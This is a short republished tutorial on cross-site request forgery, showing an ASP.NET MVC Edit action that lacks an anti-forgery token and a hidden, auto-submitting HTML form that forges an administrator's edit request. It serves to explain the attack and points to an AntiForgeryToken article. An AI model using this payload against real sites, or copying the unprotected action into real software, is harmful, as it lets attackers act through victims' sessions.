Cross-site request forgery (CSRF), csrfforgery

Source: Internet
Author: User

Cross-site request forgery (CSRF), csrfforgery

CSRF (Cross-site request forgery) Cross-site request forgery, also known as "One Click Attack" or Session Riding, usually abbreviated as CSRF or XSRF, is a type of malicious use of websites

Attack steps:

1. log on to trusted website A and generate A Cookie locally.

2. Access dangerous website B without logging out of account.

So when it's okay, don't mess up the links.

 

Common scenario analysis:

Assume that you have such an Action. Because the [Authorize (Roles = "Admins")] Mark has been added, only the administrator role can submit data.

[HttpPost][Authorize(Roles = "Admins")]public ActionResult Edit(ProductDetails productdetails){    if (ModelState.IsValid)    {        db.Entry(productdetails).State = EntityState.Modified;        db.SaveChanges();        return RedirectToAction("Index");    }    return View(productdetails);} 

Non-administrator access to this request will be redirected to the logon page, which is relatively safe currently.

Assume that an administrator has logged on to the website, that is, the first step has been completed,

Wait for the second step. How can we implement the second step? It's actually very simple,

A malicious operator simulates the form submission and places the form under a malicious website,

If the above website administrator happens to have clicked this link (for example, after receiving a malicious email, and so on), the malicious link is opened and loaded,

The above Edit request is triggered by the Administrator unconsciously at this time,

Step 2: the attack is successful.

<form name="csrfhackForm" method="post"    action="http://localhost:63577/ProductDetails/Edit">    <input type="hidden" name="Id" value="1" />    <input type="hidden" name="LicenseCount" value="5" />    <input type="hidden" name="LicenseUsedCount" value="1" />    <input type="hidden" name="AccountUserName" value="Hacker" />    <input type="hidden" name="ProductName" value="B2B Product 101" /></form><script type="text/javascript">    document.csrfhackForm.submit();</script> 

 

Http://www.devcurry.com/2013/01/what-is-antiforgerytoken-and-why-do-i.html

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.